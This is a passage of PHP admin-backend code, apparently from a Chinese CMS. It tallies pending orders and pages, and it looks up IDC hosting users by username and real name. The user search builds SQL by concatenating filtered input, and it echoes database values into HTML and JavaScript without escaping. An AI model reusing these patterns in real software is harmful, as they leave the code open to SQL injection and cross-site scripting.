			$dataArr[] = '<span title="功能单页【待审核】记录数，点击进入【功能单页管理】" onclick=\'HrefTo("功能模块","功能单页管理","onePage.php?mudi=manage&dataTypeCN=%E5%8A%9F%E8%83%BD%E5%8D%95%E9%A1%B5&refIsAuditTemp=1","1039");\' class="pointer">单页<span style="font-size:18px;font-weight:bold;color:red;">'. $dataNum .'</span></span>';
		}
	}
	if (strpos($sysAdminArr['SA_workOrderEvent'],'|buyOrders|') !== false && AppBuyOrders::Jud()){
		$dataNum = $DB->GetOne('select count(BO_ID) from '. OT_dbPref .'buyOrders where BO_state=0');
		if ($dataNum > 0){
			$totalNum += $dataNum;
			$dataArr[] = '<span title="会员订单记录【待审核】记录数，点击进入【会员订单记录】" onclick=\'HrefTo("会员管理","会员订单记录","buyOrders.php?mudi=manage&dataTypeCN=%E4%BC%9A%E5%91%98%E8%AE%A2%E5%8D%95%E8%AE%B0%E5%BD%95&refState=0","624");\' class="pointer">订单<span style="font-size:18px;font-weight:bold;color:red;">'. $dataNum .'</span></span>';
		}
	}
	if (count($dataArr) > 0){ $dataStr = implode('；',$dataArr); }else{ $dataStr = '无未处理信息'; }

	echo('
	<!-- 未处理订单 共'. $totalNum .'个 -->
	'. $dataStr .'&ensp;&ensp;<span title="最后检查时间：'. TimeDate::Get() .'">'. TimeDate::Get('H:i') .'</span>
	');
	if ($totalNum > 0 && strpos($sysAdminArr['SA_workOrderEvent'],'|sound|') !== false){
		// 开启提示音
		// echo('<embed src="../inc_img/media/order1.mp3" loop="0" autostart="true" hidden="true"></embed>');
		echo('<audio src="../inc_img/media/order1.mp3" autoplay="true"></audio>');
	}
}


// 检测IDC用户名并返回用户信息
function CheckIdcUserInfo(){
	global $DB;

	$username	= OT::GetStr('username');
	$outId		= OT::GetStr('outId');
	$proType	= OT::GetStr('proType');
	$proID		= OT::GetInt('proID');

	if (strlen($username) != strlen(Str::RegExp($username,'sql'))){
		die('<span style="color:red;">用户名含特殊符号<img src=\'images/img_err.gif\' /></span>');
	}
	
	$nameNum = strlen($username);
	if ($nameNum < 4){
		die('<span style="color:red;">用户名太短了，才'. $nameNum .'位<img src=\'images/img_err.gif\' /></span>');
	}

	$checkexe = $DB->QueryParam('select IU_ID,IU_realname,IU_money,IU_proRate from '. OT_dbPref .'idcUsers where IU_username=?',array($username));
	if ($row = $checkexe->fetch()){
		die('
		<span style="color:green;">
			存在<img src=\'images/img_yes.gif\' />
			<input type="hidden" id="isUserExist" name="isUserExist" value="1" />
			&ensp;(余额：'. $row['IU_money'] .'元；折扣：'. $row['IU_proRate']*100 .'%；昵称：'. $row['IU_realname'] .')
		</span>
		');
	}else{
		die('<span style="color:red;">不存在<img src=\'images/img_err.gif\' /></span>');
	}
	unset($checkexe);

}



// 读取IDC用户信息
function LoadIdcUsersInfo(){
	global $DB;

	$username		= OT::GetRegExpStr('username','sql');
	$realname		= OT::GetRegExpStr('realname','sql');
	$outId			= OT::GetRegExpStr('outId','sql');
	$outField		= OT::GetRegExpStr('outField','sql');
		if (! in_array($outField,array('ID','username'))){ $outField='ID'; }
	$outMode		= OT::GetRegExpStr('outMode','sql');

	$whereStr = '';
	if (strlen($username)>0){ $whereStr .= " and IU_username like '%". $username ."%'"; }
	if (strlen($realname)>0){ $whereStr .= " and IU_realname like '%". $realname ."%'"; }
	if (strlen($whereStr) == 0){
		// JS::AlertEnd('查询条件不能都为空');
	}

	if (in_array($outMode, array('idcServVps'))){
		$mode = 'money';
		$sqlFieldStr = ',IU_money';
	}else{
		$mode = '';
		$sqlFieldStr = '';
	}

	$checkexe = $DB->query('select IU_ID,IU_username,IU_realname'. $sqlFieldStr .' from '. OT_dbPref .'idcUsers where 1=1'. $whereStr);
		if (! $row = $checkexe->fetch()){
			die('$id("selUserResBox").innerHTML = "<select id=\'selUserRes\' name=\'selUserRes\'><option value=\'\'>查找不到相关人员信息</option></select>";');
		}else{
			echo('$id("selUserResBox").innerHTML = "<select id=\'selUserRes\' name=\'selUserRes\' onchange=\'SetSelUserRes()\'><option value=\'\'>请选择查询结果</option>');

			do {
				if ($mode == 'money'){
					$optionText = $row['IU_username'] .' （余额：'. $row['IU_money'] .'元；昵称：'. $row['IU_realname'] .'）';
				}else{
					$optionText = $row['IU_username'] .' （ID：'. $row['IU_ID'] .'；昵称：'. $row['IU_realname'] .'）';
				}
				echo('<option value=\''. $row['IU_'. $outField] .'\'>'. $optionText .'</option>');
			}while ($row = $checkexe->fetch());

			echo('</select>";');
		}
	unset($checkexe);

}

?>